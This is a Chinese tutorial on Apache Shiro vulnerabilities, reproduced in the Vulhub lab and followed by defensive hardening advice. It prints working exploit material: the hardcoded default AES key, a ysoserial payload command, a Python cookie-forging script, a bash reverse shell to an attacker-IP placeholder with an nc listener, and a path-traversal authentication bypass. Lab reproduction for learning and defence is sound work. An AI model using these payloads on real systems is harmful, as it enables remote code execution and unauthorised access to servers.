Apache Shiro作为Java生态中轻量级的安全框架，凭借简洁易用的认证、授权、会话管理能力，被广泛应用于各类Web系统。但框架设计缺陷与配置不当，催生了多个高危漏洞，其中以反序列化、权限绕过类漏洞危害最大。本文基于Vulhub靶场环境，从漏洞原理、复现实操、深层防御、行业前瞻四个维度，全面拆解Shiro漏洞攻防体系，为开发者与安全从业者提供可落地的技术指南。
一、Shiro高危漏洞全景（Vulhub可复现清单）
Shiro漏洞的爆发多集中在反序列化和权限控制两大模块，以下是影响范围广、利用成本低的核心漏洞，均已在Vulhub中提供标准化靶场：
| 漏洞ID | 漏洞别称 | 影响版本 | 核心原理 | 危害等级 | 利用关键要素 |
|---|---|---|---|---|---|
| CVE-2016-4437 | Shiro-550 | ≤1.2.4 | rememberMe Cookie采用硬编码默认AES密钥加密，解密后触发Java反序列化执行恶意代码 | 高危 | 默认密钥爆破、ysoserial生成Gadget、Cookie伪造 |
| Shiro-721 | Padding Oracle | 1.2.5-1.4.1（部分版本） | 加密Cookie填充错误回显差异，无需密钥即可构造恶意序列化数据 | 高危 | 合法rememberMe Cookie、Padding Oracle攻击脚本 |
| CVE-2020-1957 | 权限绕过漏洞 | ≤1.5.1 | Shiro与Spring MVC路径解析逻辑差异，分号截断特性导致越权访问 | 中高危 | 特殊路径构造（如/xxx/..;/admin） |
| CVE-2010-3863 | 路径遍历漏洞 | ≤1.0.0-incubating | 未对URI进行规范化处理，直接匹配权限规则，可通过/./等绕过路径限制 | 中危 | 路径变形构造、权限规则匹配逻辑缺陷 |
| CVE-2023-34478 | 反序列化漏洞 | ≤1.11.0 | 部分场景下DefaultSerializer未限制反序列化类，可触发恶意代码执行 | 高危 | 特定配置下的序列化类白名单绕过、Gadget适配 |
前瞻洞察：随着Shiro版本迭代，官方逐步修复了硬编码密钥、路径解析等显性缺陷，但反序列化漏洞的变种仍在不断出现——核心原因在于Java反序列化本身的"原罪"，以及业务系统中不可避免的危险依赖（如Commons Collections、Commons Beanutils）。未来漏洞挖掘将更聚焦于配置绕过和新型Gadget利用。
二、Vulhub环境部署与工具链准备
1. 标准化靶场部署流程
Vulhub已为每个Shiro漏洞提供了一键部署的Docker环境，无需手动配置依赖，步骤如下：
- 基础环境安装：确保本地已部署Docker与docker-compose，克隆Vulhub仓库
gitclone https://github.com/vulhub/vulhub.gitcdvulhub - 启动目标漏洞环境：以Shiro-550为例，进入对应目录并启动容器
cdshiro/CVE-2016-4437docker-composeup-d - 验证环境可用性：访问
http://your-ip:8080，使用默认账号admin:vulhub登录，确认rememberMe功能可勾选，环境部署完成。 - 环境清理：测试结束后，执行
docker-compose down销毁容器，避免端口占用。
2. 必备攻防工具链
针对Shiro漏洞的检测与利用，需搭建以下工具组合，覆盖从信息收集到漏洞验证的全流程：
- 反序列化利用工具：
- ysoserial：Java反序列化Gadget生成神器，支持CommonsBeanutils1、JRMPClient等多种利用链
- ShiroAttack2：自动化检测工具，集成密钥爆破、Padding Oracle攻击、命令执行功能
- JRMP监听工具：配合ysoserial的JRMP利用链，实现反弹shell（需提前在攻击机启动监听）
- 权限测试工具：
- Burp Suite：抓包修改Cookie与请求路径，验证权限绕过漏洞
- OWASP ZAP：自动化扫描路径变形漏洞，快速定位越权入口
- 辅助工具：
- AES加密/解密脚本：手动处理rememberMe Cookie，验证密钥有效性
- JDK 8环境：高版本JDK会限制部分反序列化Gadget，推荐使用JDK 1.8.0_202
三、核心漏洞复现全流程（实操详解）
1. Shiro-550（CVE-2016-4437）：硬编码密钥反序列化漏洞
（1）漏洞本质
Shiro 1.2.4及以下版本中，rememberMe Cookie的加密密钥被硬编码为kPH+bIxk5D2deZiIxcaaaA==，攻击者可通过该密钥加密恶意序列化数据，伪造Cookie后发送至目标服务器，服务器解密后触发反序列化，执行任意命令。
（2）Vulhub复现步骤
- 生成恶意序列化数据：使用ysoserial生成CommonsBeanutils1利用链的payload，执行
touch /tmp/success命令java-jarysoserial.jar CommonsBeanutils1"touch /tmp/success">poc.ser - AES加密并Base64编码：利用默认密钥对poc.ser加密，再进行Base64编码（可使用Python脚本或在线工具实现）
# 简易AES加密脚本示例fromCrypto.CipherimportAESimportbase64 key=b'kPH+bIxk5D2deZiIxcaaaA=='iv=b'1234567890123456'# CBC模式需16位IVcipher=AES.new(key,AES.MODE_CBC,iv)withopen('poc.ser','rb')asf:data=f.read()# 填充数据至16位整数倍pad_len=16-len(data)%16data+=bytes([pad_len])*pad_len encrypted=cipher.encrypt(data)print(base64.b64encode(encrypted).decode()) - 伪造Cookie并发送请求：用Burp Suite抓包，将rememberMe Cookie值替换为上述编码结果，发送请求
- 验证漏洞利用成功：进入靶机容器，查看
/tmp/success文件是否存在dockerexec-it[容器ID]/bin/bashls/tmp# 看到success文件即说明命令执行成功
（3）进阶利用：反弹shell
将命令替换为bash反弹shell指令（需对命令进行base64编码，避免特殊字符截断）
# 攻击机监听端口nc-lvvp4444# 生成payload（命令需base64编码）bash_cmd="bash -i >& /dev/tcp/[攻击机IP]/4444 0>&1"encoded_cmd=base64.b64encode(bash_cmd).decode()final_cmd=f"echo {encoded_cmd} | base64 -d | bash"# 用ysoserial生成payload并重复上述加密步骤2. Shiro-721：Padding Oracle攻击（无密钥反序列化）
（1）漏洞本质
Shiro 1.2.5+版本修复了硬编码密钥问题，但引入了新的缺陷：当rememberMe Cookie加密填充错误时，服务器会返回不同的响应（如rememberMe=deleteMe）。攻击者可利用这一差异，通过Padding Oracle攻击，逐步构造出包含恶意序列化数据的合法Cookie，无需知晓加密密钥。
（2）Vulhub复现步骤
- 获取合法rememberMe Cookie：登录靶机并勾选rememberMe，用Burp Suite抓取包含rememberMe的响应Cookie
- 自动化攻击：打开ShiroAttack2工具，输入目标URL与合法rememberMe Cookie值，选择"Padding Oracle"模式，点击"开始检测"
- 执行命令：工具自动完成攻击链构造，输入要执行的命令（如
whoami），即可获取目标服务器返回结果
3. CVE-2020-1957：权限绕过漏洞
（1）漏洞本质
Shiro在处理请求路径时，会截断分号后的内容；而Spring MVC会解析完整路径。攻击者可构造特殊路径，让Shiro认为访问的是匿名资源，而Spring MVC实际解析为受保护资源，从而绕过认证。
（2）Vulhub复现步骤
- 验证正常访问限制：直接访问
http://your-ip:8080/admin，返回401未授权 - 构造绕过路径：访问
http://your-ip:8080/xxx/..;/admin- Shiro解析路径为
/xxx（匿名资源，无需认证） - Spring MVC解析路径为
/admin（受保护资源）
- Shiro解析路径为
- 验证绕过成功：无需登录即可直接进入admin后台，漏洞利用完成
四、深层防御方案（从代码到运维的全链路加固）
Shiro漏洞的防御不能仅依赖版本升级，需结合配置加固、依赖管控、运行时防护三大维度，构建多层次安全屏障。
1. 版本升级：修复已知漏洞的基础
- 针对Shiro-550：升级至1.2.5及以上版本，彻底移除硬编码默认密钥
- 针对权限绕过：升级至1.5.2及以上版本，统一Shiro与Web容器的路径解析逻辑
- 针对反序列化变种：及时跟进官方补丁，升级至最新稳定版（如1.12.0），关注官方安全公告
2. 配置加固：从源头阻断漏洞利用
- 禁用不必要功能：业务无需rememberMe时，直接在配置中关闭
<!-- Shiro配置文件中禁用rememberMe --><propertyname="rememberMeEnabled"value="false"/> - 自定义强密钥：启用rememberMe时，使用16位以上随机AES密钥，避免硬编码，通过配置文件或环境变量注入
// 代码中设置自定义密钥（推荐使用随机生成的密钥）ByteSourcebyteSource=ByteSource.Util.bytes("随机生成的16位密钥");AESCipherServicecipherService=newAESCipherService();cipherService.setKeySize(128); - 统一路径匹配规则：配置Shiro使用与Spring MVC一致的路径解析器，禁用分号截断特性
<propertyname="pathMatcher"ref="antPathMatcher"/><beanid="antPathMatcher"class="org.apache.shiro.util.AntPathMatcher"><propertyname="trimTokens"value="false"/></bean>
3. 依赖管控：清除反序列化Gadget土壤
- 移除危险依赖：项目中剔除不必要的Commons Collections、Commons Beanutils等包含高危Gadget的依赖
- 使用依赖隔离：通过Maven/Gradle的
exclusions标签，排除第三方库中引入的危险依赖<dependency><groupId>com.example</groupId><artifactId>third-party-lib</artifactId><version>1.0.0</version><exclusions><exclusion><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId></exclusion></exclusions></dependency>
4. 运行时防护：部署最后一道安全防线
- 接入WAF：配置Web应用防火墙，拦截包含恶意序列化数据的Cookie、特殊构造的路径请求
- 日志审计：开启Shiro详细日志，监控异常的rememberMe Cookie请求、权限越权访问行为
- 反序列化白名单：使用自定义序列化器，限制允许反序列化的类，仅放行业务必需的类
五、行业前瞻：Shiro漏洞的未来发展趋势
- 漏洞变种更隐蔽：随着官方补丁的完善，显性漏洞减少，未来漏洞将更多集中在配置不当和边缘场景，如第三方框架集成时的兼容性问题、自定义Realm的逻辑缺陷。
- 利用技术升级：针对无Gadget环境，攻击者可能采用内存马注入、JNDI注入等新型利用方式，结合Shiro的会话管理机制实现持久化控制。
- 防御技术体系化：企业级防御将从"单点修复"转向"全生命周期防护"，结合SAST（静态代码扫描）、DAST（动态漏洞扫描）、SCA（依赖成分分析）工具，在开发、测试、运维阶段持续检测Shiro漏洞风险。
六、总结
Apache Shiro漏洞的爆发，本质是框架设计缺陷与业务配置不当共同作用的结果。通过Vulhub靶场的标准化复现，我们可以清晰掌握漏洞的利用逻辑；而从版本升级到配置加固的全链路防御方案，则能帮助开发者构建真正安全的应用系统。在Java反序列化漏洞尚未完全根治的当下，对Shiro这类安全框架的深入研究，既是安全从业者的必修课，也是企业保障业务安全的核心需求。
